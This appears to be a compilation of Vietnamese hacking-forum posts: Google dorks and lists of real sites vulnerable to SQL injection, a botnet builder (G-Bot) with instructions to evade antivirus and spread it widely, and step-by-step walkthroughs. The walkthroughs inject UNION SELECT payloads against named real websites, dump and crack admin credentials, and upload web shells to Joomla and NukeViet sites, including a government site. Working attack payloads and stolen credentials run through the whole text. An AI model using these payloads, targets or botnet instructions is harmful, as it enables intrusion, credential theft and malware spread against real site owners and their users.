[bug] Wp - RevolutionTechnologies - SQLI

Dorck :   inurl:"/page.php?IDMenu=" revolutiontechnologies

http://www.kyokuten.net/page.php?IDMenu=967&IDLang=1%27

http://sdtrb-sofia.com/page.php?IDMenu=848&IDLang=1%27

http://sdtrb.revolutiontechnologies.net/page.php?IDMenu=845&IDLang=1%27

http://www.labsystems.bg/page.php?IDMenu=7%27

http://www.givelconsult.com/page.php?IDMenu=32%27

http://build.verum.bg/page.php?IDMenu=846&IDLang=2%27

http://www.spoon-golf.de/page.php?IDMenu=853&IDLang=4%27

http://revolutiontechnologies.eu/page.php?IDMenu=852&IDLang=2%27

[Bonet] G-bot 2.2

Code + Data + File Buider  G-Bot version 2.2.  Code này được viết bới các hacker người nga.

Cách sử dụng:

-  Upcode + Database lên host sau đó chỉnh sửa các thông số trong file config ( bao gồm cả pass để dăng nhập nữa)

-  Click vào file buider.exe để tạo bot.

Host: tên domain

Path : Đường dẫn tới code botnet:

- Bước còn lại là bạn file mã hóa con bot này khỏi tât cả antivirus và phát tán nó càng nhiều càng tốt để tạo 1 mạng lưới bot lớn.


Link download: 

G-Bot 2.2 : http://www.mediafire.com/download.php?o9mg3berija7jpj
G-bot 1.7 :  http://www.mediafire.com/download.php?3qbxeyuvqhoxidi


Pass dải nén: vhb

[Tut] Tổng Hợp Các Dạng Tut Hack Web Cơ Bản

Như tiêu đề, Soleil tổng hợp các dạng tut Hack Web của ae hacker đi trước đã để lại để cho các bạn mới bước vào con đường hacking dễ tra cứu và học tập. Chủ yếu là các vấn đề xoay quanh local attack & Upshell   -  2 Kỹ năng quan trọng trong không thể thiếu trong website hacking!

 Phần I:

Download:  http://www.mediafire.com/?sodnvn6iv9so1ov

pass: soleil_vhb 

Phần II: 

Download:  http://www.mediafire.com/?2jlwk2q5sl826kk

pass: soleil_vhb 

1. Local Attack

 1.26MB – Tác Giả: Unlock_virus
Video Hướng dẫn sử dụng Shell và local ( rất căn bản cho newbie)

2. Local- Mastercarder.org 

7.35MB – Tác Giả: Chưa Rõ
Video Local Mastercarder.org và giải mã file config bị mã hóa (BYpass qua MySQL

3. Local attack,Upload shell 

1.86MB – Tác Giả: d0nd0c(Vniss)
Video local cardheaven.net rất căn bản , dành cho newbie

[Bug] WebX (showsubpage.asp) SQLI

1. Google dork:   

inurl:"showsubpage.asp" "Powered By: WebX" 

2. Khai thác

-  Thêm Query 

null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1

  vào sau  http://www.victim.com/showsubpage.asp?subid=

- Nếu site dính bug này, nó sẽ hiện thi thông tin username và password được mã hóa MD5 của admin

Ví dụ: 

http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1

-  Để giải mã pass bị mã hóa md5 đó, bạn có thể vứt đoạn mã đó lên google

Up Shell Voi NuKeViet

Victim : http://dansodaklak.gov.vn

Bước 1: Đăng nhập với quyền quản trị  

http://dansodaklak.gov.vn/admin/index.php

 

[Bài 3 - SQLI] - Khai Thác Đối Với ASPX

Victim:  http://quangcaovinasun.com.vn

Bước 1: Check link lỗi

Đối với site aspx, ta thêm dấu  ‘ cuối đường link có các ký tự dạng ID=, Sp=…. Nếu thấy site xuất hiện lỗi: 

Unclosed quotation mark after the character string ''

Chứng tỏ site dính lỗi SQLI.

Ví dụ:     http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42’ 

Kỹ Thuật Upshell Đối Với Joomla P.II

Bài trước soleil đã đề cập cách thức upload shell đối với joomla qua thư mục upload ảnh.

 http://ducdung08clc.blogspot.com/2012/02/ky-thuat-upshell-oi-voi-joomla.html

  Tuy nhiên một số site bị cấm quyền upload hoặc bị chặn bởi file .htacess làm cho shell không chạy được hay  một số lý do nào khác.

Trong tut này soleil sẽ demo phương pháp upload shell bằng cách edit 1 file trong themes của joomla rồi thay thế bằng code shell.

Victim:  http://tuannghia.com

Bước 1: Login với quyền admintrator:

http://tuannghia.com/administrator 

username: admin       pass: soleil

Bước 2: Vào phần quản lý giao diện

Vào tap “Phần Mở Rộng”     =>   “Quản lý giao diện”.

Hoặc vào theo path mặc định của joomla:  administrator/index.php?option=com_templates

Ví dụ: http://tuannghia.com/administrator/index.php?option=com_templates

Site nước ngoài Lỗi SQLI - Phần II

http://www.cometantenna.com/newPro_detail.php?ID=234'

http://www.jocuri-online.net/game.php?id=5'

http://www.mace.manchester.ac.uk/aboutus/staff/academic/profile/?staffId=188'

http://www.abalar.es/ampliar_material.php?id_material=11'

http://www.drummajorinstitute.org/events/unique_event.php?ID=49'

http://holidayvillagerodos.com/gallery.php?id=1'

http://www.ndc.ps/main.php?id=2'

http://campus.sanook.com/inlove/read.php?id=86'

http://www.worldstyling.com/web/product_detail.php?id=960'

http://www.niesr.ac.uk/staff/staffdetail.php?StaffID=321'

http://www.bsp.org.uk/news_full.php?id=30'

http://www.avmaniacs.com/review.php?id=319'

http://www.laserltd.ps/cat/showimg.php?id=85'

http://www.bryansmarine.com/section.php?id=10'

http://www.minesandcommunities.org/look.php?id=101'

http://www.fetrab.org.br/conteudo.php?ID=1050'

http://www.dynamicptmichigan.com/news.php?id=22'

http://www.jester-records.com/releases_sub.php?ID=45'

http://www.pioneer-group.co.uk/event.php?id=16'

http://www.amrproductions.nl/faq/view_faq.php?id=8'

http://www.djinsure.com/faq/viewFAQ.php?id=8'

http://www.gamefreaks365.com/newsarticle.php?sid=4273'

http://www.wildarttaxidermy.co.uk/gallery.php?id=16'

http://www.bicikel.com/forum/?thread_id=15058'

http://www.theglideslope.com/index_sub.php?did=10'

http://www.alexandrahedin.com/recipes_view.php?recipe_id=34'

http://www.webcommerce.insee.fr/fiche-produit.php?id_produit=2170'

http://diabetesservice.co.uk/index2.php?section_id=32'

[Bài 2 - SQLI] - Khai Thác Lỗi Cơ Bản

Victim:  http://www.shophangkhuyenmai.com/

Bước 1: Check lỗi:  

Thêm dấu ‘ sau đường link có dạng id=

http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421'

Nếu giao diện website có  thay đổi. Chứng tỏ site bị lỗi.

Bước 2: Tìm số trường cột

http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421 order by 1-- -   -> site bình thường

http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421 order by 15-- - ->  Site vẫn bình thường

http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421 order by 16-- -  -> Giao diện website thay đổi.

      Số trường  cột cần tìm là 15

Bước 3: Xác định vị trí trường cột bị lỗi

http://www.shophangkhuyenmai.com/?frame=product_detail&id=-1421 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -

Chú ý là phải có dấu - trước 1421 thì mới xuất hiện ra các con số đẹp.

Chúng ta chú ý sẽ thấy xuất hiện các con số: 2,3,6,15,7. Đó chính là những vị trí bị lỗi mà chúng ta có thể khai thác tại đó. Ví dụ Soleil sẽ khai thác tại vị trí thứ 2.

Bước 4: Xuất ra tên các tables trong database

http://www.shophangkhuyenmai.com/?frame=product_detail&id=-1421 UNION SELECT 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()-- -

Thông tin về tên các table thu được:

tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_order,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_new,tbl_product_special,tbl_user,tbl_visitor 

Table chứa thông tin về username và password là tbl_user. ( Thường là nhưng table có chữ user).  Vì vậy soleil sẽ khai thác ở table này.

Bước 5: Xuất ra tên các colums chứa username và password

http://www.shophangkhuyenmai.com/?frame=product_detail&id=-1421 UNION SELECT 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572-- -

     Lưu ý:   

-          0x tạm hiểu là dung để nhận dạng khi sử dụng ở dạng mã hex

-          74626c5f75736572 là chữ tbl_user ở dạng hex.

-          Link convert các ký tự sang mã hex:

 http://string-functions.com/string-hex.aspx 

Thông tin về tên columns thu được:

id,uid,pwd         

                

Bước 6: Xuất ra thông tin về Username và Password

http://www.shophangkhuyenmai.com/?frame=product_detail&id=-1421 UNION SELECT 1,unhex(hex(group_concat(uid,0x2f,pwd))),3,4,5,6,7,8,9,10,11,12,13,14,15 from tbl_user-- -

0x2f

Thông tin về username và password được mã hóa md5 thu được:

admin/679115597bf9f763506dcc9a8e9e8e82          

       

Bước 7:  Crack Password và tìm link admin:

-          Có nhiều site để crack passwd, ví dụ:

http://md5cracker.org/

Hoặc sử dụng google để tìm kiếm

               

-          Sử dụng các tool để tìm link admin: Havij, Web admin finder

Havij 1.5 free:  http://www.mediafire.com/?bcrs460vcu1vy2q

Web admin finder 2.5 : http://www.mediafire.com/?ogoclxe83no1xzg

Pass dải nén: ducdung.08clc

Thông tin Soleil thu được:

Link admin:  http://www.shophangkhuyenmai.com/admin/

Username và password:   admin /  961980dt

Demo IIS Exploit

IIS Hacking là kỹ thuật hack website dễ nhất bằng cách upload shell lên hệ thống website. Hiện nay người dùng chủ yếu sử dụng hệ điều hành win 7, Vì vậy soleil sẽ chỉ demo IIS hacking trên win 7.

Bước 1: Vào My Computer, click chuột phải và chọn Add a network Location

Chọn Next